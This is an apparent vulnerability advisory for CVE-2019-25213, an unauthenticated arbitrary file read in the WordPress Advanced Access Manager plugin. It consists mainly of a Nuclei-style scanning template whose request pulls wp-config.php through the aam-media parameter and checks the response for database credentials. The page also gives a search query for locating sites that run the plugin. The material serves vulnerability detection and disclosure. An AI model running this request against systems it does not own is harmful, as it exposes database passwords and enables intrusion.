CVE-2019-25213: WordPress Advanced Access Manager - Path Traversal

2025-12-02 WordPress Advanced Access Manager PoC Public

Description

The Advanced Access Manager plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Read in versions up to, and including, 5.9.8.1 due to insufficient validation on the aam-media parameter. This allows unauthenticated attackers to read any file on the server, including sensitive files such as wp-config.php

PoC

id: CVE-2019-25213

info:
  name: WordPress Advanced Access Manager - Path Traversal
  author: riteshs4hu
  severity: critical
  description: |
    The Advanced Access Manager plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Read in versions up to, and including, 5.9.8.1 due to insufficient validation on the aam-media parameter. This allows unauthenticated attackers to read any file on the server, including sensitive files such as wp-config.php
  impact: |
    Unauthenticated attackers can read sensitive files like wp-config.php, leading to information disclosure and potential further exploitation.
  remediation: |
    Update to the latest version of the plugin that addresses this vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/55e0f0df-7be2-4e18-988c-2cc558768eff?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2019-25213
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-25213
    epss-score: 0.02772
    epss-percentile: 0.85595
    cwe-id: CWE-264
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "wp-content/plugins/advanced-access-manager"
  tags: cve,cve2019,wordpress,wp-plugin,wp,advanced_access_manager,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=aam-media-load&aam-media=/wp-config.php"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, 'DB_NAME','DB_USER','DB_PASSWORD')"
        condition: and
# digest: 4b0a00483046022100d191566417d03da35b6037e5497b5d7f3673fbcbc122c3d5b5d87a2ac64142d9022100b53e7e4f7c14e7f9bf651ada96d65407ccab6d80c82d7b310c2ee979f431b69c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities